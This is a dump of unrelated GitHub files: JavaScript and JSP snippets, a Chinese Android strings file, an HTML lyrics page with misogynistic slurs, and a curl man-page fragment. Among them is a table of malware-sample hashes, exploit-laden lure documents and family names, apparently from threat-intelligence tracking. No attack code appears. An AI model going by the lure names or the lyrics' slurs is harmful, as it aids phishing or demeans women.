{ data.$elements .find('.fw-option-type-popup:not(.fw-option-initialized)').each(popup) .addClass('fw-option-initialized'); }); fw.options.register('popup', { startListeningForChanges: $.noop, getValue: function (optionDescriptor) { return { value: JSON.parse( $(optionDescriptor.el).find('[type="hidden"]').val() || '""' ), optionDescriptor: optionDescriptor } } }); })(jQuery, _, fwEvents, window);
{ "pile_set_name": "Github" }
<%@ page language="java" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <jsp:include page="/resources/inc/meta.jsp"></jsp:include> <jsp:include page="/resources/inc/easyui.jsp"></jsp:include> </head> <body class="easyui-layout" fit="true"> <!-- 门店展示管理 查询 --> <div region="north" id="staffArea" style="white-space: nowrap;padding: 5px; height: 50px;"> <div style="margin-bottom: 5px"> <form id="staffSearchForm" method="post"> <table class="table_content" border="0" > <tr> <td class="tar" >姓名:</td> <td class="tal" > <input name="staffNameLike" class="easyui-textbox" style="" prompt="模糊查询"/> </td> <td class="tar" >电话:</td> <td class="tal" > <input name="staffPhoneLike" class="easyui-textbox" style="" prompt="模糊查询"/> </td> <td style="padding-left:20px"> <a href="#" class="easyui-linkbutton" data-options="iconCls:'icon-search'" style="width:80px" onclick="doSearch()">搜索</a> <a href="#" class="easyui-linkbutton" data-options="iconCls:'icon-clear'" style="width:80px" onclick="reset()">重置</a> </td> </tr> </table> </form> </div> </div> <div data-options="region:'center'" border="false" style="overflow: hidden;width:85%"> <table id="datagrid"></table> </div> </body> <input type="hidden" value="${sessionInfo.user.type}" id="userType"/> <script type="text/javascript" charset="UTF-8" src="<%=request.getContextPath()%>/resources/js/aylson/sys/staff.js?date=2017021303"></script> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- Copyright (c) 2012 Hai Bison See the file LICENSE at the root directory of this project for copying permission. --> <resources> <string name="afc_cmd_advanced_selection_all">全部</string> <string name="afc_cmd_advanced_selection_invert">反向選擇</string> <string name="afc_cmd_advanced_selection_none">無</string> <string name="afc_cmd_grid_view">格狀檢視</string> <string name="afc_cmd_home">首頁</string> <string name="afc_cmd_list_view">清單畫面</string> <string name="afc_cmd_new_folder">新資料夾…</string> <string name="afc_cmd_select_all_files">選擇所有檔案</string> <string name="afc_cmd_select_all_folders">選擇所有資料夾</string> <string name="afc_cmd_sort">排序...</string> <string name="afc_file">檔案</string> <string name="afc_folder">資料夾</string> <string name="afc_hint_clear">清除</string> <string name="afc_hint_folder_name">資料夾名稱</string> <string name="afc_hint_save_as_filename">檔案名稱</string> <string name="afc_hint_search">搜尋</string> <string name="afc_msg_app_doesnot_have_permission_to_create_files">此應用程式沒有權限建立檔案 / 資料夾</string> <string name="afc_msg_app_doesnot_have_permission_to_delete_files">此應用程式沒有權限刪除檔 / 資料夾</string> <string name="afc_msg_cancelled">已取消</string> <string name="afc_msg_cannot_connect_to_file_provider_service">無法連接到檔案服務</string> <string name="afc_msg_cannot_create_new_folder_here">無法在此新建資料夾</string> <string name="afc_msg_cannot_save_a_file_here">無法在此儲存檔案</string> <string name="afc_msg_done">完成</string> <string name="afc_msg_empty">空白</string> <string name="afc_msg_failed_please_try_again">失敗了。請再試一次。</string> <string name="afc_msg_loading">載入中…</string> <string name="afc_phone">電話</string> <string name="afc_pmsg_cannot_access_dir">無法存取「%1$s」</string> <string name="afc_pmsg_cannot_create_folder">無法建立「%1$s」資料夾</string> <string name="afc_pmsg_cannot_delete_file">無法刪除「%2$s」%1$s</string> <string name="afc_pmsg_confirm_delete_file">確定刪除 %1$s \"%2$s\"?</string> <string name="afc_pmsg_confirm_replace_file">此檔 \"%1$s\" 已經存在。\n\n是否要覆蓋?</string> <string name="afc_pmsg_deleting_file">正在刪除 %1$s「%2$s」…</string> <string name="afc_pmsg_file_has_been_deleted">%1$s\"%2$s\"已被刪除</string> <string name="afc_pmsg_filename_is_directory">\"%1$s\"是一個資料夾</string> <string name="afc_pmsg_filename_is_invalid">檔案名稱\"%1$s\"不正確</string> <string name="afc_pmsg_max_file_count_allowed">…有更多檔案,最多允許:%1$,d</string> <string name="afc_pmsg_unknown_error">未知的錯誤: %1$s</string> <string name="afc_root">根目錄</string> <string name="afc_title_advanced_selection">請選擇...</string> <string name="afc_title_confirmation">確認</string> <string name="afc_title_date">日期</string> <string name="afc_title_error">錯誤</string> <string name="afc_title_info">資訊</string> <string name="afc_title_name">名稱</string> <string name="afc_title_save_as">另存為...</string> <string name="afc_title_size">大小</string> <string name="afc_title_sort_by">按排序......</string> <string name="afc_yesterday">昨天</string> <plurals name="afc_title_choose_directories"> <item quantity="other">選擇資料夾...</item> </plurals> <plurals name="afc_title_choose_files"> <item quantity="other">選擇檔案......</item> </plurals> <plurals name="afc_title_choose_files_directories"> <item quantity="other">選擇檔案 / 資料夾...</item> </plurals> </resources>
{ "pile_set_name": "Github" }
|Hash|Type|Family|First_Seen|Name| |:--|:--|:--|:--|:--| |[f544a74de8264cd5b7bc184c81b78966](https://www.virustotal.com/gui/file/f544a74de8264cd5b7bc184c81b78966)|ELF shared library||2020-01-06 07:38:40|mtksuoppo| |[9d71bc8643b0e309ea1d91903aea6555](https://www.virustotal.com/gui/file/9d71bc8643b0e309ea1d91903aea6555)|RTF||2019-12-17 06:33:35|Policy on Embedded Systems.doc| |[aa7fd6d7d8bc06f7528975ca87133d1d](https://www.virustotal.com/gui/file/aa7fd6d7d8bc06f7528975ca87133d1d)|Win32 DLL||2019-12-09 03:38:44|DUSER.dll| |[ff9d14b83f358a7a5be77af45a10d5a2](https://www.virustotal.com/gui/file/ff9d14b83f358a7a5be77af45a10d5a2)|Win32 DLL||2019-12-08 17:24:09|DUSER.dll| |[4513f65bdf6976e93aa31b7a37dbb8b6](https://www.virustotal.com/gui/file/4513f65bdf6976e93aa31b7a37dbb8b6)|TXT||2019-12-07 15:29:34|%TEMP%\1.a| |[3ee30a5cac2bef034767e159865683df](https://www.virustotal.com/gui/file/3ee30a5cac2bef034767e159865683df)|RTF||2019-12-07 06:02:16|main.file.rtf| |[4ff9196bac6bf3c27421af411c57ba52](https://www.virustotal.com/gui/file/4ff9196bac6bf3c27421af411c57ba52)|RTF||2019-11-15 11:20:31|m.doc| |[9b1d0537d0734f1ddb53c5567f5d7ab5](https://www.virustotal.com/gui/file/9b1d0537d0734f1ddb53c5567f5d7ab5)|DOCX||2019-11-15 07:37:40|ADVOCATE.docx| |[827c5e51d180f621d392885b0bd536b3](https://www.virustotal.com/gui/file/827c5e51d180f621d392885b0bd536b3)|ELF shared library||2019-10-22 23:57:53|mtk-su| |[65f66bc372ea1f372a8735e9862095da](https://www.virustotal.com/gui/file/65f66bc372ea1f372a8735e9862095da)|Text||2019-10-21 07:47:55|file.hta| |[5e98ea66670fa34bf67054fb8a41979c](https://www.virustotal.com/gui/file/5e98ea66670fa34bf67054fb8a41979c)|TXT||2019-10-21 07:41:15|692cd02.hta| |[7e23c62a81d2bfb90ef73047e170dea8](https://www.virustotal.com/gui/file/7e23c62a81d2bfb90ef73047e170dea8)|LNK||2019-10-21 07:34:14|Key_Points.doc.lnk| |[497df762a3a7858c9a68dcbce24375fc](https://www.virustotal.com/gui/file/497df762a3a7858c9a68dcbce24375fc)|Win32 DLL||2019-10-21 02:44:45|497DF762A3A7858C9A68DCBCE24375FC.bin| |[0b9e948dd5914deed01a05d86f5c978d](https://www.virustotal.com/gui/file/0b9e948dd5914deed01a05d86f5c978d)|Win32 DLL||2019-10-21 02:41:59|SystemApp.dll| |[37a7cbb9ea0d399aafae48e25a9f867e](https://www.virustotal.com/gui/file/37a7cbb9ea0d399aafae48e25a9f867e)|RTF||2019-10-18 11:09:41|luan_nan_bao.doc| |[3b70a0fbcc1fdf0c24ce298ef6a48e6c](https://www.virustotal.com/gui/file/3b70a0fbcc1fdf0c24ce298ef6a48e6c)|Win32 DLL||2019-10-16 11:46:42|bb| |[bfad291d000b56ddd8a331d7283685b2](https://www.virustotal.com/gui/file/bfad291d000b56ddd8a331d7283685b2)|RTF||2019-10-09 23:38:41|zhengce.doc| |[549d2310fd2b3f34ff95a86c48db53d8](https://www.virustotal.com/gui/file/549d2310fd2b3f34ff95a86c48db53d8)|RTF||2019-10-01 16:57:33|wenzhi_tiaoli.doc| |[37166fa93d776147e545aad7e30b4160](https://www.virustotal.com/gui/file/37166fa93d776147e545aad7e30b4160)|RTF|CVE-2017-11882|2019-08-26 16:40:48| | |[a9dbf0cbc46dfe0202b534c63bd52a4a](https://www.virustotal.com/gui/file/a9dbf0cbc46dfe0202b534c63bd52a4a)|C||2019-08-13 13:49:59|1.a| |[58de7c0df5bd677e1a3cdc099019015d](https://www.virustotal.com/gui/file/58de7c0df5bd677e1a3cdc099019015d)|RTF|CVE-2017-11882|2019-08-11 16:32:03|SideWinder - original.rtf| |[3d7da8b93d684e7d6a08fa230a87aa66](https://www.virustotal.com/gui/file/3d7da8b93d684e7d6a08fa230a87aa66)|RTF|CVE-2017-11882|2019-07-27 22:42:55| | |[88678c5045fc9ed741282537ecad2c4e](https://www.virustotal.com/gui/file/88678c5045fc9ed741282537ecad2c4e)|Text||2019-07-24 05:48:54| | |[4d59b084df25e9c6cba6343b753077b3](https://www.virustotal.com/gui/file/4d59b084df25e9c6cba6343b753077b3)|TXT||2019-07-15 17:49:14|file.hta| |[050dd090b5af80fb73b2d6e6c8a3adc9](https://www.virustotal.com/gui/file/050dd090b5af80fb73b2d6e6c8a3adc9)|ZIP||2019-07-15 14:37:20|PassportchangeProfession.zip| |[9eb7cbd46aa2aa624ae13acb64394b1c](https://www.virustotal.com/gui/file/9eb7cbd46aa2aa624ae13acb64394b1c)|ZIP||2019-07-14 20:25:02|.| |[7af11efe4454dab75ad2338124be149d](https://www.virustotal.com/gui/file/7af11efe4454dab75ad2338124be149d)|ZIP||2019-07-06 12:05:14|Sponsorship-Benefits.zip| |[e183fce03053423a0dd90f815a9c8fd9](https://www.virustotal.com/gui/file/e183fce03053423a0dd90f815a9c8fd9)|Win32 DLL|Stealer|2019-07-05 20:47:21|e183fce03053423a0dd90f815a9c8fd9.virus| |[f4ba024d446c3e631770b920d334cc2c](https://www.virustotal.com/gui/file/f4ba024d446c3e631770b920d334cc2c)|Win32 EXE||2019-07-02 18:17:05|SeCEdit| |[d2522e45c0b0d83dddd3fcc51862d48c](https://www.virustotal.com/gui/file/d2522e45c0b0d83dddd3fcc51862d48c)|LNK||2019-06-18 07:48:43|zzz.txt| |[ab1608cb9967f3d08742cb1bbae2a67c](https://www.virustotal.com/gui/file/ab1608cb9967f3d08742cb1bbae2a67c)|RTF|CVE-2017-11882|2019-06-14 06:49:53| | |[d79c33759c17ac7c2525e701d12a9b9c](https://www.virustotal.com/gui/file/d79c33759c17ac7c2525e701d12a9b9c)|Text|program|2019-05-27 22:45:12|stage2-hta.bin| |[0da0b1578af124ea2bc1f223df52f6a9](https://www.virustotal.com/gui/file/0da0b1578af124ea2bc1f223df52f6a9)|Win32 DLL||2019-04-30 11:34:46|PreBotHta.dll| |[5368863fd123f2e085be180897c3f583](https://www.virustotal.com/gui/file/5368863fd123f2e085be180897c3f583)|Win32 DLL||2019-04-30 11:31:55|LinkZip.dll| |[52fa30ac4edc4c973a0a84f2e93f2432](https://www.virustotal.com/gui/file/52fa30ac4edc4c973a0a84f2e93f2432)|Win32 DLL|Ursu|2019-04-30 10:14:44|new 4~| |[21cc890116adcf092d5a112716b6a55f](https://www.virustotal.com/gui/file/21cc890116adcf092d5a112716b6a55f)|Win32 DLL|Ursu|2019-04-28 03:13:34|Duser.dll1| |[16e561159ee145008635c52a931b26c8](https://www.virustotal.com/gui/file/16e561159ee145008635c52a931b26c8)|Text||2019-04-25 09:16:02|final.hta1| |[1fe3d9722db28c2f3291ff176b989c46](https://www.virustotal.com/gui/file/1fe3d9722db28c2f3291ff176b989c46)|RTF|CVE-2017-11882|2019-04-24 15:47:03|/var/www/clean-mx/virusesevidence/output.125157734.txt| |[62606c6cff3867a582f9b31b018dfea5](https://www.virustotal.com/gui/file/62606c6cff3867a582f9b31b018dfea5)|Win32 DLL|Stealer|2019-04-24 15:46:32|myfile.exe| |[549fb138b02c5420d6ea13f7a1a341b0](https://www.virustotal.com/gui/file/549fb138b02c5420d6ea13f7a1a341b0)|Email|oleink|2019-04-24 07:42:02|155600008311b6fa605581b50001RRsSfD.eml| |[ce53ed2a093bbd788d49491851babffd](https://www.virustotal.com/gui/file/ce53ed2a093bbd788d49491851babffd)|Win32 DLL|Stealer|2019-04-23 19:59:11|.| |[393497c43c760112714f3bb10f5170d2](https://www.virustotal.com/gui/file/393497c43c760112714f3bb10f5170d2)|DOCX|oleink|2019-04-23 09:49:41|STANDING OPERATING PROCEDURES FOR POLICE EMERGENCY THREAT LEVELS AND COLOR CODES FOR OPERATIONAL READINESS.docx| |[29139545ca8610f2d84b2c65ee2800d6](https://www.virustotal.com/gui/file/29139545ca8610f2d84b2c65ee2800d6)|PDF||2019-04-14 10:10:33|job-instructions.pdf| |[737f3ad2c727c7b42268bcacd00f8c66](https://www.virustotal.com/gui/file/737f3ad2c727c7b42268bcacd00f8c66)|Win32 DLL|Stealer|2019-04-13 16:18:53|a8ca6d51653866e8cbf5f63df5ac8220f829b5a1ec31e561496ad1c47cfff244.sample| |[c71688a53272b8e3e3f83173a9059400](https://www.virustotal.com/gui/file/c71688a53272b8e3e3f83173a9059400)|Text||2019-04-11 08:56:36|c71688a53272b8e3e3f83173a9059400.virobj| |[81f9eb617a2176ff0e561e34ef9ff503](https://www.virustotal.com/gui/file/81f9eb617a2176ff0e561e34ef9ff503)|Win32 DLL|Stealer|2019-03-05 20:06:41|.| |[fb362fe18c3a0a150754a7a1ab068f1e](https://www.virustotal.com/gui/file/fb362fe18c3a0a150754a7a1ab068f1e)|Win32 DLL|Stealer|2019-03-05 14:15:07|7b6ec46bc619de754be553970c8989af55d4195a443beac73c04bd3a99b0aca7.sample| |[f44a45e6f6273a7fb3d5cee145760362](https://www.virustotal.com/gui/file/f44a45e6f6273a7fb3d5cee145760362)|Win32 DLL|Stealer|2019-03-04 07:26:31|Duser.dll| |[423194b0243870e8c82b35e5298ad7d7](https://www.virustotal.com/gui/file/423194b0243870e8c82b35e5298ad7d7)|Win32 DLL|Stealer|2019-03-04 04:36:06|.| |[b5dbcb71ca158ee353955a69492c50c9](https://www.virustotal.com/gui/file/b5dbcb71ca158ee353955a69492c50c9)|RTF|CVE-2017-11882|2019-03-04 04:29:36|.| |[4ab481d903afba53bd2de9bdb9eca6d4](https://www.virustotal.com/gui/file/4ab481d903afba53bd2de9bdb9eca6d4)|RTF|CVE-2017-0199|2019-03-04 03:31:23| | |[a1ca53efda160b31ebf07d8553586264](https://www.virustotal.com/gui/file/a1ca53efda160b31ebf07d8553586264)|RTF|CVE-2017-11882|2019-02-07 18:48:19|.| |[90e9f50e8e799dd340e09793a49a3521](https://www.virustotal.com/gui/file/90e9f50e8e799dd340e09793a49a3521)|Win32 DLL|Stealer|2019-01-29 05:20:43|90e9f50e8e799dd340e09793a49a3521.virus| |[032d584f6c01cc184bf07cdec713e74d](https://www.virustotal.com/gui/file/032d584f6c01cc184bf07cdec713e74d)|Win32 DLL|Stealer|2019-01-24 02:42:54| | |[e021a9e4eea1bf7d494269d20510e82c](https://www.virustotal.com/gui/file/e021a9e4eea1bf7d494269d20510e82c)|Win32 DLL|Stealer|2019-01-17 15:11:57|myfile.exe| |[2d9655c659970145ab3f2d74bb411c5d](https://www.virustotal.com/gui/file/2d9655c659970145ab3f2d74bb411c5d)|Win32 DLL|Stealer|2019-01-17 09:45:10| | |[b956496c28306c906fddf08ded1cdf65](https://www.virustotal.com/gui/file/b956496c28306c906fddf08ded1cdf65)|RTF|CVE-2017-11882|2018-11-08 07:24:19|pmo.doc| |[358450e19d38db77c236f45881dcebef](https://www.virustotal.com/gui/file/358450e19d38db77c236f45881dcebef)|Win32 EXE||2018-10-12 15:39:36|proquota| |[3725b4be01ef82438c22ede9e947e487](https://www.virustotal.com/gui/file/3725b4be01ef82438c22ede9e947e487)|ZIP||2018-10-12 15:39:32|codexgigas_2aa992959f53b1d228b48191553bbf07790d474c| |[29325cdbde5e0cf60d277aa2d9ba4537](https://www.virustotal.com/gui/file/29325cdbde5e0cf60d277aa2d9ba4537)|Win32 DLL||2018-10-12 15:39:30|codexgigas_26346fb58da3bec503adf49200c8b1623ba4ee61| |[fdca2916dd94a9e0d48167c2041ee717](https://www.virustotal.com/gui/file/fdca2916dd94a9e0d48167c2041ee717)|Targa||2018-10-12 15:39:29|codexgigas_1b511d2583b7473bf01e89d0bb65385f5e140ae2| |[d1c3fa000154dbccd6e5485a10550a29](https://www.virustotal.com/gui/file/d1c3fa000154dbccd6e5485a10550a29)|RTF|CVE-2017-11882|2018-10-12 15:39:27|main.RTF| |[1057edc5e8406d76741d5ea3be790e03](https://www.virustotal.com/gui/file/1057edc5e8406d76741d5ea3be790e03)|unknown||2018-10-12 15:39:24|codexgigas_5a0e6bd24cc07b68ba17ff372ab35896e5e4421d| |[f5919f70371520645f4765bcc385bef4](https://www.virustotal.com/gui/file/f5919f70371520645f4765bcc385bef4)|RTF|CVE-2017-11882|2018-09-26 07:46:45|2018 Bilateral Training in China.doc| |[2c2c8f0ecc63894ef73a06819ba0e412](https://www.virustotal.com/gui/file/2c2c8f0ecc63894ef73a06819ba0e412)|Win32 DLL||2018-07-18 08:17:12|cmpbk32.dll| |[e4eddf1e8b0adc08220ad245a3365847](https://www.virustotal.com/gui/file/e4eddf1e8b0adc08220ad245a3365847)|Text||2018-07-18 00:09:10|final.hta| |[c986635c40764f10bcebe280b05efe8c](https://www.virustotal.com/gui/file/c986635c40764f10bcebe280b05efe8c)|RTF||2018-05-17 11:32:13|CALS Renewal procedure.doc| |[204860ce22c81c6d9de763c09e989a20](https://www.virustotal.com/gui/file/204860ce22c81c6d9de763c09e989a20)|Win32 EXE||2018-05-15 11:32:17|eventvwr| |[c0f15436912d8a63dbb7150d95e6a4ee](https://www.virustotal.com/gui/file/c0f15436912d8a63dbb7150d95e6a4ee)|RTF|CVE-2017-11882|2018-05-15 05:49:23|2018 Bilateral Training in China.doc| |[3cd725172384297732222ef9c8f74adc](https://www.virustotal.com/gui/file/3cd725172384297732222ef9c8f74adc)|RTF||2018-05-04 11:34:58|08b9b5b7592004b8733544df1029e2fc085d82db1ba488a43830df49bbbc73b6.bin| |[f03c0390d0a655450f1b10ea4057b06e](https://www.virustotal.com/gui/file/f03c0390d0a655450f1b10ea4057b06e)|Win32 DLL||2018-04-12 12:52:26|myfile.exe| |[444438f4ce76156cec1788392f887da6](https://www.virustotal.com/gui/file/444438f4ce76156cec1788392f887da6)|RTF||2018-04-04 10:10:25|Fund Allocation Policy.doc| |[2cb633375a5965f86360e761363d9f2f](https://www.virustotal.com/gui/file/2cb633375a5965f86360e761363d9f2f)|Win32 DLL|Zbot|2017-11-29 11:15:20|1002-5de6e37cb7bc18b1be0dbf5b5908fec1eda3c047| |[dbb45a0839719312f248351e3fb9a0ae](https://www.virustotal.com/gui/file/dbb45a0839719312f248351e3fb9a0ae)|Win32 EXE||2010-02-13 02:24:38|7092f1ddb58d11d7_cmdl32.exe| |[5343a19c618bc515ceb1695586c6c137](https://www.virustotal.com/gui/file/5343a19c618bc515ceb1695586c6c137)|Win32 DLL||2009-12-13 09:13:12|(Image2629)_Windows_System32_msvbvm60.dll| |[73bdde7e0f9ea29fdad03eeb7312b4d3](https://www.virustotal.com/gui/file/73bdde7e0f9ea29fdad03eeb7312b4d3)|ZIP||2020-04-10 04:39:04|Pak_Army_Deployed_in_Country_in_Fight_Against_Coronavirus (10).zip| |[120e3733e167fcabdfd8194b3c49560b](https://www.virustotal.com/gui/file/120e3733e167fcabdfd8194b3c49560b)|LNK||2020-04-06 20:21:05|Additional_CSD_Rebate.pdf.lnk| |[3c9f64763a24278a6f941e8807725369](https://www.virustotal.com/gui/file/3c9f64763a24278a6f941e8807725369)|LNK||2020-04-06 11:04:17|Pak_Army_Deployed_in_Country_in_Fight_Against_Coronavirus.pdf.lnk| |[fef12d62a3b2fbf1d3be1f0c71ae393e](https://www.virustotal.com/gui/file/fef12d62a3b2fbf1d3be1f0c71ae393e)|RTF|CVE-2017-11882|2020-03-28 17:38:23|.| |[58363311f04f03c6e9ccd17b780d03b2](https://www.virustotal.com/gui/file/58363311f04f03c6e9ccd17b780d03b2)|RTF|CVE-2017-11882|2020-03-24 04:00:07|/var/www/clean-mx/virusesevidence/output.153111507.txt| |[26a7c3273e8e398ab13519793ff44626](https://www.virustotal.com/gui/file/26a7c3273e8e398ab13519793ff44626)|TXT||2020-02-25 13:16:15|/var/www/clean-mx/virusesevidence/output.149965783.txt| |[cbf120f20fc4fc67e1b0c4a3694f0e58](https://www.virustotal.com/gui/file/cbf120f20fc4fc67e1b0c4a3694f0e58)|Win32 DLL|Starter|2019-12-25 17:27:38|DUSER.dll| |[7442b3efecb909cfff4aea4ecaae98d8](https://www.virustotal.com/gui/file/7442b3efecb909cfff4aea4ecaae98d8)|LNK|Banload|2019-04-26 13:28:06|daraz-coupon.pdf.lnk|
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <meta http-equiv="charset" content="ISO-8859-1" /> <meta http-equiv="content-language" content="English" /> <meta http-equiv="vw96.object type" content="Document" /> <meta name="resource-type" content="document" /> <meta name="distribution" content="Global" /> <meta name="rating" content="General" /> <meta name="robots" content="all" /> <meta name="revist-after" content="2 days" /> <link rel="shortcut icon" href="../../../favicon.ico" /> <title>The Original Hip-Hop (Rap) Lyrics Archive</title> <!-- link rel="stylesheet" type="text/css" href="http://ohhla.com/files/main.css" / --> <!-- BEGIN SITE ANALYTICS //--> <script type="text/javascript"> if (typeof siteanalytics == 'undefined') { siteanalytics = {}; }; siteanalytics.gn_tracking_defaults = {google: '',comscore: {},quantcast:''}; siteanalytics.website_id = 180; siteanalytics.cdn_hostname = 'cdn.siteanalytics.evolvemediametrics.com'; </script> <script type="text/javascript" src='http://cdn.siteanalytics.evolvemediametrics.com/js/siteanalytics.js'></script> <!-- END SITE ANALYTICS //--> </head> <body> <a href="javascript: history.go(-1)">Back to the previous page</a> <div> </div> <div style="width: 720px; text-align: center; color: #ff0000; font-weight: bold; font-size: 1em;"> <!-- AddThis Button BEGIN --> <div class="addthis_toolbox addthis_default_style" style="margin: auto 0 auto 0; padding-left: 185px;"> <a class="addthis_button_facebook_like" fb:like:layout="button_count"></a> <a class="addthis_button_tweet"></a> <a class="addthis_button_google_plusone" g:plusone:size="medium"></a> <a class="addthis_counter addthis_pill_style"></a> </div> <script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e8ea9f77f69af2f"></script> <!-- AddThis Button END --> </div> <br /> <div style="float: left; min-width: 560px;"> <pre> Artist: Slick Rick Album: Behind Bars Song: A Love That's True (Part One) Typed by: [email protected] So you get my point son you just don't trust no bitch, you know what I'm sayin? "Okay, daddy, I understand" Cause bitches ain't no good, you know what I'm sayin? "Okay, I get your point" Anyway, listen to this, check it out 1994, as the world gets trifer I'm wondering, the fuck I need a woman in my life for? (ya know) Cause its like a nigga whole history With you hoes been nothing but misery First rater, five-one stood Mad coke fiend though the bitch looked good Met her at the fever "What's going on, stranger?" And like a fool took her in and tried to change her I don't who I thought I's bluffing That BITCH wasn't giving up that coke for nothing "Oh you trying to dis, mister bougeois nigga Yet back in the day, you used to smoke coke cigarettes too That type shit you ain't admitting" Because, homegirl, I grew out of it, you didn't Anyway, dead out of order Came in with a sheepskin her ex-lover bought her Who gave you that? "My ex" I said "Who?" Believe she had the nerve to say "You can wear it too" When I found strength to depart, I do Withdrew, for something brand new Someone who would be true Yes I should find someone who would be true (Singing) Cause Ricky needs a love that's true Truuuuuuuuuuue, oh dear, Scooby Dooby Doo Scooby Doo doo Then I met Sin, Sweating the viking A brown skinned fox, slim just like I like them "What? Sweating you? Picture that, nerd. Please" Anyway, the bitch had herpes! (you know) Imagine me, the fool being the spouse Doctor said I couldn't catch it unless I got aroused Found out snooping in her bag what she got Now why you ain't tell me? You worthless slut! "Because I loved you at the time and couldn't afford to" You know homegirl should get the Oscar award for her lying Anyway, stayed with the creep One day, Sybil here, talking in her sleep "Chris, wait," the bum bitch said So loud till a motherfucker fell out the bed Who the hell is Chris? She putting up resistance Until I caught her calling the nigga long distance Had the nerve to dis patch loving Boy am I lucky that I didn't catch nothing When I found strength to depart, I do Withdrew, for something brand new Someone who would be true Yes I should find someone who would be true (Singing) Cause Ricky needs a love that's true Truuuuuuuuuuue, truuuuuuuuue Indeed, I need a love that's true It seems I need a love that's true Oh dear, Scooby Dooby Doo Oh gosh, Scooby Doo doo-ooh (doo-ooh) Though happy I was free The need for love was still in me Got to the point where the need for it was killing me Then I met short here, hanging with my cousin Found out later how young the bitch was and Though I done hit it and she opened up a world And remind me of that song "Go Away, Little Girl" It had to end because the bitch weren't loyal, and spoiled "That's because I had you pussy whipped royal" You see the type of shit a nigga was gonna marry? You see the type of attitude the BUM BITCH carry? Like oil and water, impossible mixture Then temper tantrums came into the picture Yelling (ahhhh), carrying on bad and cursing Complete embarassment to The Ruler as a person "Gimme shorts" Ruler will not permit you Then she goes wild, starts breaking up my furniture Flirts too, excuse me, a whore Like the world's worst groupie when I brought her on tour So when I found strength to depart, I do Withdrew, for something brand new Someone who would be true Yes I should find someone who would be true (Singing) Cause Ricky needs a love that's true Truuuuuuuuuuue, truuuuuuuuue Indeed, I need a love that's true It seems I need a love that's true Oh dear, Scooby Dooby Doo Oh gosh, Scooby Doo doo Ricky needs a love that's true-hoo-hoo</pre> </div> <div style="float: left;"> </div> </body></html>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html><head> <title>CURLOPT_SSH_KEYFUNCTION man page</title> <meta name="generator" content="roffit"> <STYLE type="text/css"> pre { overflow: auto; margin: 0; } P.level0, pre.level0 { padding-left: 2em; } P.level1, pre.level1 { padding-left: 4em; } P.level2, pre.level2 { padding-left: 6em; } span.emphasis { font-style: italic; } span.bold { font-weight: bold; } span.manpage { font-weight: bold; } h2.nroffsh { background-color: #e0e0e0; } span.nroffip { font-weight: bold; font-size: 120%; font-family: monospace; } p.roffit { text-align: center; font-size: 80%; } </STYLE> </head><body> <p class="level0"><a name="NAME"></a><h2 class="nroffsh">NAME</h2> <p class="level0">CURLOPT_SSH_KEYFUNCTION - callback for known host matching logic <a name="SYNOPSIS"></a><h2 class="nroffsh">SYNOPSIS</h2> <p class="level0"><pre class="level0"> &#35;include &lt;curl/curl.h&gt; &nbsp; enum curl_khstat { &nbsp; CURLKHSTAT_FINE_ADD_TO_FILE, &nbsp; CURLKHSTAT_FINE, &nbsp; CURLKHSTAT_REJECT, /* reject the connection, return an error */ &nbsp; CURLKHSTAT_DEFER, /* do not accept it, but we can't answer right &nbsp; now so this causes a CURLE_DEFER error but &nbsp; otherwise the connection will be left intact &nbsp; etc */ }; &nbsp; enum curl_khmatch { &nbsp; CURLKHMATCH_OK, /* match */ &nbsp; CURLKHMATCH_MISMATCH, /* host found, key mismatch! */ &nbsp; CURLKHMATCH_MISSING, /* no matching host/key found */ }; &nbsp; struct curl_khkey { &nbsp; const char *key; /* points to a zero-terminated string encoded with &nbsp; base64 if len is zero, otherwise to the "raw" &nbsp; data */ &nbsp; size_t len; &nbsp; enum curl_khtype keytype; }; &nbsp; int ssh_keycallback(CURL *easy, &nbsp; const struct curl_khkey *knownkey, &nbsp; const struct curl_khkey *foundkey, &nbsp; enum curl_khmatch, &nbsp; void *clientp); &nbsp; CURLcode curl_easy_setopt(CURL *handle, CURLOPT_SSH_KEYFUNCTION, &nbsp; ssh_keycallback); </pre> <a name="DESCRIPTION"></a><h2 class="nroffsh">DESCRIPTION</h2> <p class="level0">Pass a pointer to your callback function, which should match the prototype shown above. <p class="level0">It gets called when the known_host matching has been done, to allow the application to act and decide for libcurl how to proceed. The callback will only be called if <a Class="emphasis" href="./CURLOPT_SSH_KNOWNHOSTS.html">CURLOPT_SSH_KNOWNHOSTS</a> is also set. <p class="level0">This callback function gets passed the CURL handle, the key from the known_hosts file <span Class="emphasis">knownkey</span>, the key from the remote site <span Class="emphasis">foundkey</span>, info from libcurl on the matching status and a custom pointer (set with <a Class="emphasis" href="./CURLOPT_SSH_KEYDATA.html">CURLOPT_SSH_KEYDATA</a>). It MUST return one of the following return codes to tell libcurl how to act: <p class="level0"> <p class="level0"><a name="CURLKHSTATFINEADDTOFILE"></a><span class="nroffip">CURLKHSTAT_FINE_ADD_TO_FILE</span> <p class="level1">The host+key is accepted and libcurl will append it to the known_hosts file before continuing with the connection. This will also add the host+key combo to the known_host pool kept in memory if it wasn't already present there. The adding of data to the file is done by completely replacing the file with a new copy, so the permissions of the file must allow this. <p class="level0"><a name="CURLKHSTATFINE"></a><span class="nroffip">CURLKHSTAT_FINE</span> <p class="level1">The host+key is accepted libcurl will continue with the connection. This will also add the host+key combo to the known_host pool kept in memory if it wasn't already present there. <p class="level0"><a name="CURLKHSTATREJECT"></a><span class="nroffip">CURLKHSTAT_REJECT</span> <p class="level1">The host+key is rejected. libcurl will deny the connection to continue and it will be closed. <p class="level0"><a name="CURLKHSTATDEFER"></a><span class="nroffip">CURLKHSTAT_DEFER</span> <p class="level1">The host+key is rejected, but the SSH connection is asked to be kept alive. This feature could be used when the app wants to somehow return back and act on the host+key situation and then retry without needing the overhead of setting it up from scratch again. <a name="DEFAULT"></a><h2 